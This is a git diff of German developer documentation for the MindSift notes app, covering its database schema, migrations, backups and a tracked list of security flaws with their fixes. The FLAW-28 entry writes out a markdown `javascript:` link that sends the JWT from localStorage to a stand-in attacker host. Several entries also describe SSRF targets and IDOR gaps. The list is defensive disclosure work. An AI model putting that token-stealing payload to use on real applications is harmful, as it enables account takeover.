**Versionierung:** Ab v0.6.0 nach [Semantic Versioning](https://semver.org/spec/v2.0.0.html): `MAJOR.MINOR.PATCH`, Tags dreiteilig mit `v` (`v0.6.0`, `v1.0.0-rc.1`). Solange die Hauptversion 0 ist, erhöhen inkompatible Änderungen (API, Datenformate, Konfiguration) die mittlere Stelle, Fehlerbehebungen die letzte. Jede Änderung, die Benutzer oder Betreiber betrifft, kommt in [CHANGELOG.md](../CHANGELOG.md) unter „Unreleased“ (Format [Keep a Changelog](https://keepachangelog.com/de/1.1.0/)); beim Release wird der Abschnitt zur Version mit Datum, `frontend/package.json` bekommt die Versionsnummer.
|
||||
|
||||
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.6.0`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.6.0-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
|
||||
|
||||
Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
|
||||
|
||||
## Hintergrundjob: Backups
|
||||
|
||||
[backups.go](../internal/api/backups.go) / [backup.go](../internal/storage/backup.go): Ist „Automatische Backups“ in den Admin-Einstellungen an, läuft einmal täglich zur eingestellten Uhrzeit (`backup_time`, Zeitzone `TZ`; nach einem Neustart wird ein verpasster Lauf am selben Tag nachgeholt):
|
||||
- `backups/system/mindsift-db-JJJJ-MM-TT-HHMM.db.gz`: Abzug der ganzen Datenbank per `VACUUM INTO` (stimmig, auch während geschrieben wird), gzip.
|
||||
- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto.
|
||||
- Danach werden Dateien älter als `backup_retention_days` (Standard 3) gelöscht. Dateien entstehen über `.part` und Umbenennen, halbe Backups tauchen nie in der Liste auf. Die API liefert nur Dateien mit genau diesem Namensmuster aus.
|
||||
- Im Demo-Modus läuft kein Zeitplan. Zurückspielen eines Datenbank-Abzugs: Container stoppen, `mindsift.db` durch die entpackte Datei ersetzen, starten. Benutzer spielen ihre eigenen Backups in den Kontoeinstellungen ein, auch nur für einzelne Bereiche (Notizen, Aufgaben, Listen, Inbox, Themes).
|
||||
|
||||
## Offline (PWA)
|
||||
|
||||
- **Service Worker** ([public/sw.js](../frontend/public/sw.js)): Seitenaufrufe Network-First mit der zuletzt geladenen `index.html` als Rückfall, Bundles unter `/assets/` (Hash im Namen) aus dem Cache, Icons und Manifest Stale-While-Revalidate. API-Anfragen fasst er nie an. Alte Caches verschwinden beim Aktivieren einer neuen `VERSION`, Bundles sind auf 80 Einträge begrenzt.
|
||||
|
||||
+4
-5
@@ -1,8 +1,7 @@
|
||||
# Datenbank
|
||||
|
||||
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`).
|
||||
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`) und 96 Zufallsbits in Hex; ältere Datensätze haben kürzere IDs (40 Bit).
|
||||
|
||||
Die Datei `migrations/001_init.sql` wird vom Code **nicht** gelesen und ist veraltet ([FLAW-13](flaws.md)).
|
||||
|
||||
## Tabellen
|
||||
|
||||
@@ -11,7 +10,7 @@ Die Datei `migrations/001_init.sql` wird vom Code **nicht** gelesen und ist vera
|
||||
|---|---|---|
|
||||
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation) |
|
||||
| `user_invites` | Einladungscodes | `code`, `email`, `role`, `organization_id`, `expires_at`, `used_by` |
|
||||
| `revoked_tokens` | Sperrliste ausgeloggter JWTs | `token_hash`, `expires_at` |
|
||||
| `sessions` | Angemeldete Geräte (Migration 4, ersetzt `revoked_tokens`) | `id` (= `jti` des Tokens), `user_id`, `created_at`, `last_used_at` (höchstens alle 5 Minuten aktualisiert), `user_agent`, `ip`, `revoked_at` (leer = aktiv) |
|
||||
| `user_themes` | Eigene CSS-Themes eines Benutzers | `user_id` (FK, `ON DELETE CASCADE`), `name`, `css_content` |
|
||||
| `api_keys` | Webhook-/API-Schlüssel | `key_prefix`, `key_hash` (SHA-256), `scopes` (nicht ausgewertet), `last_used_at` |
|
||||
| `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` |
|
||||
@@ -20,7 +19,7 @@ Die Datei `migrations/001_init.sql` wird vom Code **nicht** gelesen und ist vera
|
||||
| Tabelle | Zweck | Wichtige Spalten |
|
||||
|---|---|---|
|
||||
| `password_reset_tokens` | Links aus „Passwort vergessen?“ | `token_hash` (SHA-256), `user_id`, `created_at`, `expires_at` (1 h), `used_at` |
|
||||
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
|
||||
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
|
||||
| `task_assignees` | Zuweisungen von Aufgaben | `task_id` (FK `thoughts`, `ON DELETE CASCADE`), `user_id`, `created_at`; nur Personen mit Zugriff auf die Liste, bereinigt durch `PruneTaskAssignees` |
|
||||
| `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) |
|
||||
| `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) |
|
||||
@@ -81,7 +80,7 @@ teams 1─n team_members n─1 users
|
||||
- `users.username` wird aus dem E-Mail-Präfix aufgefüllt.
|
||||
- Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt.
|
||||
- Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=organizations`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer.
|
||||
- **Schema-Version:** `PRAGMA user_version` hält `schemaVersion` (derzeit 2), damit spätere Versionen erkennen, welche Migrationen eine Datenbank schon hat. Daten werden beim Start nie gelöscht (das einmalige Zurücksetzen auf Version 2 ist entfernt, alle Installationen sind darüber hinweg). Nur der Demo-Modus leert die Datenbank bei jedem Start.
|
||||
- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 („Basis-Schema v0.4.1“, `migrateBaseline`) baut das komplette Schema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
|
||||
|
||||
## Sicherung
|
||||
|
||||
|
||||
+120
-177
@@ -1,8 +1,8 @@
|
||||
# Bekannte Schwachstellen, Risiken & technische Schulden (Flaws)
|
||||
# Schwachstellen, Risiken & Ideen
|
||||
|
||||
Stand: Code-Review des Branches `dev` (Oktober 2026). Jeder Eintrag wurde gegen den Quellcode geprüft; die Fundstellen sind angegeben. Einträge ohne Live-Test sind als *nicht live verifiziert* markiert.
|
||||
Stand: Review des Branches `dev` nach v0.5 (Oktober 2026). Die frühere Liste (FLAW-01 bis FLAW-27) ist abgearbeitet und entfernt; ihre Geschichte steht in den Commits. Neue Einträge zählen ab FLAW-28 weiter, damit Verweise in Commits eindeutig bleiben. Jeder Eintrag ist gegen den Quellcode geprüft; die Fundstellen sind angegeben.
|
||||
|
||||
Schweregrade: **Hoch** (Datenabfluss oder Rechteumgehung möglich), **Mittel** (Fehlfunktion oder Schutz greift nicht), **Niedrig** (Wartbarkeit, Komfort, Hygiene).
|
||||
Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** (Schutz greift nicht oder Fehlfunktion unter realistischen Bedingungen), **Niedrig** (Härtung, Datenschutz, Wartbarkeit).
|
||||
|
||||
---
|
||||
|
||||
@@ -10,199 +10,142 @@ Schweregrade: **Hoch** (Datenabfluss oder Rechteumgehung möglich), **Mittel** (
|
||||
|
||||
| ID | Bereich | Kurzbeschreibung | Schwere |
|
||||
|---|---|---|---|
|
||||
| FLAW-01 | Realtime | ~~`BroadcastToAll` sendet Aufgaben- und Listendaten an alle Verbindungen~~ | **Behoben** |
|
||||
| FLAW-02 | Realtime | ~~Räume ohne Berechtigungsprüfung~~ | **Behoben** |
|
||||
| FLAW-03 | Aufgaben | ~~`ReorderTasks` ändert beliebige Aufgaben per ID (IDOR)~~ | **Behoben** |
|
||||
| FLAW-04 | Auth | ~~Fest eincodiertes Fallback-`JWT_SECRET`~~ | **Behoben** |
|
||||
| FLAW-05 | Benachrichtigungen | ~~Discord-/Webhook-URLs ungeprüft (SSRF)~~ | **Behoben** |
|
||||
| FLAW-06 | Aufgaben | ~~Jeder Editor einer Aufgabenliste kann sie per `teamId` an weitere Gruppen freigeben~~ | **Behoben** |
|
||||
| FLAW-07 | Auth | ~~Ein API-Key ist ein Vollzugriff~~ – Keys dürfen nur noch einliefern; Scopes fehlen noch | Niedrig |
|
||||
| FLAW-08 | Auth | ~~Webhook-Ingest mit JWT prüft weder Sperrliste noch `token_version` noch `is_active`~~ | **Behoben** |
|
||||
| FLAW-09 | Auth | Kein Rate-Limit, keine Sperre bei Fehlversuchen, Mindestpasswort 4 Zeichen | Mittel |
|
||||
| FLAW-10 | Freigaben | ~~`sharing_mode` wird bei Freigaben nicht durchgesetzt; Benutzerverzeichnis leakt alle Konten~~ | **Behoben** |
|
||||
| FLAW-11 | Workspace | ~~Block-Upsert (`ON CONFLICT(id)`) prüft das Dokument nicht~~ | **Behoben** |
|
||||
| FLAW-12 | Benachrichtigungen | ~~`notify_before_minutes` wirkungslos; Alarm feuert nach Umplanung nie wieder~~; kein Backoff bei Fehlern | **Teilweise behoben** |
|
||||
| FLAW-13 | Datenbank | Keine Schema-Versionierung; Migrationsfehler werden verschluckt; `migrations/001_init.sql` ist toter Code | Mittel |
|
||||
| FLAW-14 | Backend | Fehler von Schreiboperationen werden häufig ignoriert (`_, _ =`) | Mittel |
|
||||
| FLAW-15 | Realtime | ~~`WriteTimeout` von 30 s beendet SSE-Streams~~ | **Behoben** |
|
||||
| FLAW-16 | Setup | `/auth/setup` ist bis zum ersten Konto offen; Demo-Modus legt `admin/admin` an | Mittel |
|
||||
| FLAW-17 | Workspace | ~~Bearbeiter-Freigaben für Notizen nicht wählbar~~ | **Behoben** |
|
||||
| FLAW-18 | Suche | ~~Nur eigene Gedanken und Dokumente, `LIKE` ohne Escaping, keine FTS~~ | **Behoben** |
|
||||
| FLAW-19 | Qualität | Frontend-Tests nur für den Outliner, `lint` ist ein Platzhalter | Niedrig |
|
||||
| FLAW-20 | Qualität | ~~Sehr große Dateien~~; duplizierte Zugriffslogik | Niedrig |
|
||||
| FLAW-21 | Repo | `LICENSE` fehlt, obwohl README MIT angibt | Niedrig |
|
||||
| FLAW-22 | Netzwerk | Token in der URL (WS/SSE), CORS `*`, `CheckOrigin` immer `true` | Niedrig |
|
||||
| FLAW-23 | SQLite | Single-Writer-Engpass bei vielen gleichzeitigen Schreibern | Niedrig |
|
||||
| FLAW-24 | Gruppen | ~~Organisations-Endpunkte ohne Berechtigungsprüfung~~ | **Behoben** |
|
||||
| FLAW-25 | Workspace | ~~Struktur-Aktionen an fremd gesperrten Bullets nur teilweise ausgeführt~~ | **Behoben** |
|
||||
| FLAW-26 | Workspace | ~~Nach Enter landet sehr schnell Getipptes noch im vorherigen Bullet~~ | **Behoben** |
|
||||
| FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** |
|
||||
| FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** |
|
||||
| FLAW-30 | Konto | ~~Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern~~ | **Behoben** |
|
||||
| FLAW-31 | Auth | ~~Sitzungs-Token 30 Tage gültig und im `localStorage`~~ | **Teilweise behoben** |
|
||||
| FLAW-32 | Daten | ~~IDs und Einladungscodes haben nur 40 Bit Zufall~~ | **Behoben** |
|
||||
| FLAW-33 | Demo | ~~Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen)~~ | **Behoben** |
|
||||
| FLAW-34 | Admin | ~~SMTP-Passwort im Klartext an die Oberfläche~~, in DB und Datenbank-Backups | **Teilweise behoben** |
|
||||
| FLAW-35 | Netzwerk | ~~Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=`~~ | **Behoben** |
|
||||
| FLAW-36 | Backend | ~~Kein allgemeines Größenlimit für JSON-Anfragen~~ | **Behoben** |
|
||||
| FLAW-37 | Datenschutz | ~~Konto löschen entfernt die Server-Backups des Kontos nicht~~ | **Behoben** |
|
||||
| FLAW-38 | Betrieb | ~~`WriteTimeout` von 30 s bricht große Downloads ab~~ | **Behoben** |
|
||||
| FLAW-39 | Auth | ~~Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse~~ | **Behoben** |
|
||||
| FLAW-40 | Auth | ~~Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar~~ | **Behoben** |
|
||||
| FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
|
||||
|
||||
---
|
||||
|
||||
## Details
|
||||
|
||||
### FLAW-01: Broadcast an alle Verbindungen (Datenabfluss)
|
||||
- **Status: Behoben.** `BroadcastToAll` existiert nicht mehr. Aufgabenereignisse gehen an Eigentümer und Benutzer der Liste (`GetTaskListUserIDs`), Listenereignisse tragen nur noch die ID, Ordnerereignisse gehen an Benutzer bzw. Ordnerbeteiligte (`GetSharedFolderUserIDs`). Test: `TestTaskEventsOnlyReachAuthorizedUsers`.
|
||||
- **Fundstellen:** [`internal/ws/hub.go`](../internal/ws/hub.go) `BroadcastToAll`; Aufrufer in [`internal/api/server.go`](../internal/api/server.go): `handleUpdateThought` (`TASK_UPDATED`), `handleDeleteThought` (`TASK_DELETED`), `handleReorderTasks` (`TASK_REORDERED`), `handleUpdateTaskList`, `handleCreateTaskListShare`, `handleDeleteTaskListShare` (`TASK_LIST_UPDATED`), `handleDeleteTaskList`.
|
||||
- **Problem:** `BroadcastToAll` schreibt an `allClients` und `sseClients`. Dazu zählen auch Verbindungen mit `userID = "anonymous"`, denn `handleWebSocket` und `handleSSE` liegen außerhalb der Auth-Gruppe und lassen jede Verbindung zu. Der vollständige Aufgabeninhalt (Titel, Notizen, Unteraufgaben) und die Listen samt Mitgliedern gehen so an jeden, der `/api/v1/events` öffnet.
|
||||
- **Maßnahme:** Ereignisse an die berechtigten Nutzer adressieren (wie bei `DOC_*` über `GetAuthorizedDocUsers`), unauthentifizierte Verbindungen ablehnen.
|
||||
### FLAW-28: `javascript:`-Links in Markdown
|
||||
- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`.
|
||||
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
|
||||
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
|
||||
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
|
||||
|
||||
### FLAW-02: Räume ohne Berechtigungsprüfung
|
||||
- **Status: Behoben.** `/ws` und `/events` verlangen ein gültiges Token (sonst `401`). Jeder Raumbeitritt läuft über `Hub.SetRoomAuthorizer` → `Server.canJoinRoom` (Notiz bzw. Liste muss lesbar sein). `/events/rooms` liegt hinter der Anmeldung und akzeptiert nur die eigene `sseId`. Tests: `TestRealtimeEndpointsRequireAuth`, `TestSSERoomJoinRequiresAccess`, `TestRoomJoinsRequireAuthorization`.
|
||||
- **Fundstellen:** `Hub.readPump` (`JOIN_ROOM`), `handleSSERooms` (Route `/api/v1/events/rooms` liegt **außerhalb** der Auth-Gruppe), `Hub.Register` (Raum aus `?listId=`/`?spaceId=`).
|
||||
- **Problem:** Wer eine Raum-ID kennt (`doc:<id>`, Listen-ID), tritt bei und erhält Inhalte wie `DOC_BLOCKS_PATCHED` oder `ITEM_*`. Raum-IDs tauchen in Ereignissen auf und sind nicht geheim. Für den SSE-Beitritt reicht die `sseId`, die der Server selbst im Stream mitsendet.
|
||||
- **Maßnahme:** Beitritt nur nach Zugriffsprüfung (`GetDocumentByID`, `GetListByID`); `/events/rooms` hinter `authMiddleware`.
|
||||
### FLAW-29: Keine Sicherheits-Header
|
||||
- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
|
||||
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
|
||||
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
|
||||
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
|
||||
|
||||
### FLAW-03: `ReorderTasks` ohne Zugriffsprüfung (IDOR)
|
||||
- **Status: Behoben.** `handleReorderTasks` lehnt die ganze Anfrage ab, sobald eine Aufgabe nicht zugreifbar (`404`) oder schreibgeschützt (`403`) ist. Test: `TestReorderRejectsForeignTasks`.
|
||||
- **Fundstelle:** `Store.ReorderTasks` (`UPDATE thoughts SET sort_order … WHERE id = ?`) und `handleReorderTasks`.
|
||||
- **Problem:** Die SQL-Anweisung ist weder auf `user_id` noch auf die Liste eingeschränkt. Jeder angemeldete Nutzer kann `sortOrder`, `kanbanStatus` und damit `isCompleted` fremder Aufgaben ändern, sofern er die ID kennt. Die Leser-Prüfung für Aufgabenlisten überspringt Aufgaben, auf die der Nutzer gar keinen Zugriff hat (`GetThoughtByID` liefert dann einen Fehler), und schützt davor nicht.
|
||||
- **Maßnahme:** Jede ID gegen `accessibleTaskListIDsQuery` bzw. `user_id` prüfen und bei Verstoß ablehnen.
|
||||
### FLAW-30: Passwort und E-Mail ohne aktuelles Passwort änderbar
|
||||
- **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`).
|
||||
- **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`).
|
||||
- **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse.
|
||||
- **Status: Behoben.** `PATCH /auth/settings` verlangt für `password` und `email` das aktuelle Passwort (`checkCurrentPassword`); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: `TestPasswordChangeNeedsCurrentPassword`.
|
||||
|
||||
### FLAW-04: Fallback-JWT-Secret
|
||||
- **Status: Behoben.** Fehlt `JWT_SECRET` oder ist es ein bekannter Platzhalter, erzeugt der Server 32 Zufallsbytes und speichert sie als `jwt.secret` (Rechte 0600) im Datenverzeichnis; ein Hinweis steht im Log. Test: `internal/config/config_test.go`.
|
||||
- **Fundstelle:** [`internal/config/config.go`](../internal/config/config.go): `getEnv("JWT_SECRET", "mindsift-default-selfhosted-jwt-secret-key-2026")`; `docker-compose.yml` und `.env.example` liefern ebenfalls einen Platzhalter.
|
||||
- **Problem:** Wer `JWT_SECRET` nicht setzt (oder den Platzhalter behält), läuft mit einem öffentlich bekannten Schlüssel. Damit lassen sich gültige Tokens für jede Benutzer-ID fälschen. `install.sh` erzeugt zwar ein Secret, andere Installationswege nicht.
|
||||
- **Maßnahme:** Start verweigern oder Secret beim ersten Start erzeugen und in `/data` ablegen.
|
||||
### FLAW-31: Langlebige Sitzung im `localStorage`
|
||||
- **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts).
|
||||
- **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
|
||||
- **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
|
||||
- **Status: Teilweise behoben.** Serverseitige Sitzungen (`sessions`, [sessions.go](../internal/api/sessions.go)): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über `X-Session-Token` erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im `localStorage`; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: `TestSessionsListEndAndLogout`, `TestSessionTokenRenewedWhenOld`.
|
||||
|
||||
### FLAW-05: SSRF über Alarm-URLs
|
||||
- **Status: Behoben.** [netguard.go](../internal/api/netguard.go): URLs werden beim Speichern und vor jedem Versand geprüft (https Pflicht, Discord nur `discord.com/api/webhooks/`). Der HTTP-Client löst den Host selbst auf und verbindet nur zu erlaubten IPs: localhost, Link-Local/Cloud-Metadaten sind immer gesperrt, Heimnetz-Bereiche (RFC 1918, ULA, CGNAT/Tailscale) und http nur mit dem Admin-Schalter „Alarm-Webhooks ins lokale Netz erlauben“. Keine Umgebungs-Proxys, höchstens 3 Weiterleitungen.
|
||||
- **Fundstellen:** `handleUpdateUserSettings` (keine Validierung), `sendDiscordNotification`, `sendCustomWebhookNotification`.
|
||||
- **Problem:** Jeder Nutzer kann beliebige URLs hinterlegen. Der Server sendet POST-Anfragen dorthin, auch an interne Adressen (`http://169.254.169.254`, Docker-Netz, `localhost`). Über `handleTestUserAlarm` lässt sich das sofort auslösen.
|
||||
- **Maßnahme:** Nur `https`, Discord-Host prüfen, private/Loopback-Adressen beim Verbinden sperren.
|
||||
### FLAW-32: Nur 40 Bit Zufall in IDs
|
||||
- **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab.
|
||||
- **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
|
||||
- **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
|
||||
- **Status: Behoben.** `NewID` nutzt 12 Zufallsbytes, alte IDs bleiben gültig. Einladungscodes haben eigene 100 Bit in Base32 (`INV-ABCDE-FGHIJ-KLMNO-PQRST`, `newInviteCode`); bereits ausgegebene Codes funktionieren weiter.
|
||||
|
||||
### FLAW-06: Editor kann Aufgabenliste weiterteilen
|
||||
- **Status: Behoben.** Das Feld `task_lists.team_id` ist entfernt; Freigaben gibt es nur noch über `task_list_shares`, und die legt nur der Eigentümer an.
|
||||
- **Fundstelle:** `Store.UpdateTaskList` (`teamID`-Zweig ruft `AddTaskListShare`); `handleUpdateTaskList` prüft nur, dass der Nutzer **kein** Leser ist.
|
||||
- **Problem:** `POST /task-lists/{id}/shares` ist Eigentümern vorbehalten. Über `PUT /task-lists/{id}` mit `teamId` kann aber jeder Editor die Liste einer weiteren Gruppe zuweisen (mit Schreibrecht) und die Zuweisung der bisherigen Gruppe aufheben.
|
||||
- **Maßnahme:** `teamId`-Änderungen nur für den Eigentümer; das Legacy-Feld `task_lists.team_id` zugunsten von `task_list_shares` abschaffen.
|
||||
### FLAW-33: Öffentliche Demo als Absender missbrauchbar
|
||||
- **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)).
|
||||
- **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
|
||||
- **Ausgehende Anfragen:** Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
|
||||
- **Maßnahme:** Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.
|
||||
